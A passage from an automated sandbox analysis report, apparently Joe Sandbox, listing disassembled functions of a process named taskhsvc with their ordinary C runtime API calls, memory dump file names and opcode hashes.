                                          • Part of subcall function 00D2D28C: __stack_chk_fail.LIBSSP-0 ref: 00D2D3BB
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abortmemset
                                        • String ID:
                                        • API String ID: 4248982965-0
                                        • Opcode ID: d5b2de28ca7f863ec3e625347654bb8263db9735eed8aa1ebdb56fe30faa6578
                                        • Instruction ID: 2d1e26e6a1338e85616f61b1b5cda4d5e868d24f4c30b48be4d51c8f7ec69690
                                        • Opcode Fuzzy Hash: d5b2de28ca7f863ec3e625347654bb8263db9735eed8aa1ebdb56fe30faa6578
                                        • Instruction Fuzzy Hash: 1881B0B49093589FDB20EF25C9857DDBBF0FF48314F008899E588A7241E7749A85CFA2
                                        Function 00C6EC75 Relevance: 6.1, APIs: 4, Instructions: 132COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C6EE77
                                          • Part of subcall function 00C6D20C: __stack_chk_fail.LIBSSP-0 ref: 00C6D242
                                        • abort.MSVCRT ref: 00C6ECFF
                                        • abort.MSVCRT ref: 00C6ED46
                                        • free.MSVCRT ref: 00C6EE5D
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abortstrrchr$free
                                        • String ID:
                                        • API String ID: 3026730179-0
                                        • Opcode ID: 96e2d6e7e1f734276628801991ca48449804c248eec77793e5ff068d693d72de
                                        • Instruction ID: 3a7db5762c4efa41570b866902392d3e294037bab7714dc279862493aa4c722f
                                        • Opcode Fuzzy Hash: 96e2d6e7e1f734276628801991ca48449804c248eec77793e5ff068d693d72de
                                        • Instruction Fuzzy Hash: B451D4B4A043069FDB10EFA5D085A6EFBF0EF44700F05885AE894AB351DB78D946DF62
                                        Function 00CCF6A9 Relevance: 6.1, APIs: 4, Instructions: 102COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00C1F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C06074), ref: 00C1F7B2
                                          • Part of subcall function 00C31AED: abort.MSVCRT ref: 00C31B56
                                          • Part of subcall function 00C31AED: abort.MSVCRT ref: 00C31B99
                                          • Part of subcall function 00C31AED: abort.MSVCRT ref: 00C31BE6
                                          • Part of subcall function 00C31AED: strlen.MSVCRT ref: 00C31BF4
                                          • Part of subcall function 00C31AED: strlen.MSVCRT ref: 00C31C08
                                          • Part of subcall function 00C31AED: strlen.MSVCRT ref: 00C31C26
                                          • Part of subcall function 00C31AED: strlen.MSVCRT ref: 00C31C44
                                          • Part of subcall function 00D259C5: abort.MSVCRT ref: 00D25A21
                                          • Part of subcall function 00D259C5: _stati64.MSVCRT ref: 00D25A8E
                                          • Part of subcall function 00D259C5: free.MSVCRT ref: 00D25AA7
                                          • Part of subcall function 00D259C5: strerror.MSVCRT ref: 00D25AD7
                                          • Part of subcall function 00D259C5: __stack_chk_fail.LIBSSP-0 ref: 00D25C45
                                        • free.MSVCRT ref: 00CCF754
                                        • free.MSVCRT ref: 00CCF84F
                                        • __stack_chk_fail.LIBSSP-0 ref: 00CCF869
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failabortstrlen$free$_stati64strerror
                                        • String ID:
                                        • API String ID: 1053559245-0
                                        • Opcode ID: 61ffa65199ce0ef48d60aebbbe86384aabdbc59e1e0bb854355ad0e93efc98e3
                                        • Instruction ID: 5d520e0b9879c2d5f849f056c84ceb33bccd977133fdae172ad398a8dd3f685c
                                        • Opcode Fuzzy Hash: 61ffa65199ce0ef48d60aebbbe86384aabdbc59e1e0bb854355ad0e93efc98e3
                                        • Instruction Fuzzy Hash: 444116B49083019FDB00EF65D88976EBBF1FB45304F01882DE8A4EB251D7B8D589CB62
                                        Function 00CB3631 Relevance: 6.1, APIs: 4, Instructions: 60COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00CB68D8: strcmp.MSVCRT ref: 00CB68FC
                                          • Part of subcall function 00CB68D8: __stack_chk_fail.LIBSSP-0 ref: 00CB693A
                                        • abort.MSVCRT ref: 00CB36A0
                                        • time.MSVCRT ref: 00CB36AC
                                        • time.MSVCRT ref: 00CB36F4
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • __stack_chk_fail.LIBSSP-0 ref: 00CB370D
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strrchrtime$abortstrcmp
                                        • String ID:
                                        • API String ID: 3742246364-0
                                        • Opcode ID: 96e2a6f751913c389eed4ddc399e98f113d44e8890410c1454d6422bf8e8d3a4
